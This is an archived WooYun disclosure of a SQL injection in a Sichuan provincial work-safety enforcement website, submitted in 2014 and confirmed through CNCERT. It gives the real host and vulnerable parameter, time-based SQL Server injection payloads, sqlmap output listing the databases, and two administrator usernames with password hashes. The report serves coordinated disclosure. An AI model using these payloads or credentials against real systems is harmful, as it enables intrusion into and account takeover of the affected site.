当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-087914

漏洞标题:四川省安全生产监察执法总队网站sql注入

相关厂商:四川省安全生产监察执法总队

漏洞作者: 影刺

提交时间:2014-12-22 14:28

修复时间:2015-02-05 14:30

公开时间:2015-02-05 14:30

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-22: 细节已通知厂商并且等待厂商处理中
2014-12-26: 厂商已经确认,细节仅向厂商公开
2015-01-05: 细节向核心白帽子及相关领域专家公开
2015-01-15: 细节向普通白帽子公开
2015-01-25: 细节向实习白帽子公开
2015-02-05: 细节向公众公开

简要描述:

四川省安全生产监察执法总队网站sql注入
URL:http://182.131.21.49:8080/newsDetail.aspx?Channel=1461120347
存在盲注,特别慢,没有深入跑。

详细说明:

四川省安全生产监察执法总队网站sql注入
URL:http://182.131.21.49:8080/newsDetail.aspx?Channel=1461120347
存在盲注,特别慢,没有深入跑。

[*] starting at 00:33:14
[00:33:14] [INFO] resuming back-end DBMS 'microsoft sql server'
[00:33:14] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: Channel (GET)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: Channel=1461120347'; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: Channel=1461120347' WAITFOR DELAY '0:0:5'--
---
[00:33:15] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 4.0.30128
back-end DBMS: Microsoft SQL Server 2005
[00:33:15] [INFO] fetching database names
[00:33:15] [INFO] fetching number of databases
[00:33:15] [INFO] resumed: 13
[00:33:15] [INFO] resumed: DaqWeixinGroup
[00:33:15] [INFO] resumed: IPTV
[00:33:15] [INFO] resumed: iptv2014
[00:33:15] [WARNING] cannot properly display Unicode characters inside Windows OS command prompt (http://bugs.python.org/issue1602). All unhandled occ
urances will result in replacement with '?' character. Please, find proper character representation inside corresponding output files.
[00:33:15] [INFO] resumed: lfzWxG?oup
[00:33:15] [INFO] resumed: master
[00:33:15] [INFO] resumed: model
[00:33:15] [INFO] resumed: msdb
[00:33:15] [INFO] resumed: scaqss
[00:33:15] [INFO] resumed: scpsjjkf
[00:33:15] [INFO] resumed: tempdb
[00:33:15] [INFO] resumed: TouristGuide
[00:33:15] [INFO] resumed: WeixinHigh
[00:33:15] [INFO] resumed: wexingroup
available databases [13]:
[*] [lfzWxG?oup]
[*] DaqWeixinGroup
[*] IPTV
[*] iptv2014
[*] master
[*] model
[*] msdb
[*] scaqss
[*] scpsjjkf
[*] tempdb
[*] TouristGuide
[*] WeixinHigh
[*] wexingroup


四川省安全生产注入.jpg


四川省安全生产注入1.jpg


跑出用户名密码

username	passwd
daqadmin 70B2206BD78E87A7012F92A69311B303
admin D80F699C062C8662FAD3DF86024E246C

漏洞证明:

四川省安全生产监察执法总队网站sql注入
URL:http://182.131.21.49:8080/newsDetail.aspx?Channel=1461120347
存在盲注,特别慢,没有深入跑。

available databases [13]:
[*] [lfzWxG?oup]
[*] DaqWeixinGroup
[*] IPTV
[*] iptv2014
[*] master
[*] model
[*] msdb
[*] scaqss
[*] scpsjjkf
[*] tempdb
[*] TouristGuide
[*] WeixinHigh
[*] wexingroup


四川省安全生产注入.jpg


四川省安全生产注入1.jpg


跑出用户名密码

username	passwd
daqadmin 70B2206BD78E87A7012F92A69311B303
admin D80F699C062C8662FAD3DF86024E246C

修复方案:

参数Channel进行过滤

版权声明:转载请注明来源 影刺@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2014-12-26 17:20

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给四川分中心,由其后续协调网站管理单位处置

最新状态:

暂无


漏洞评价:

评论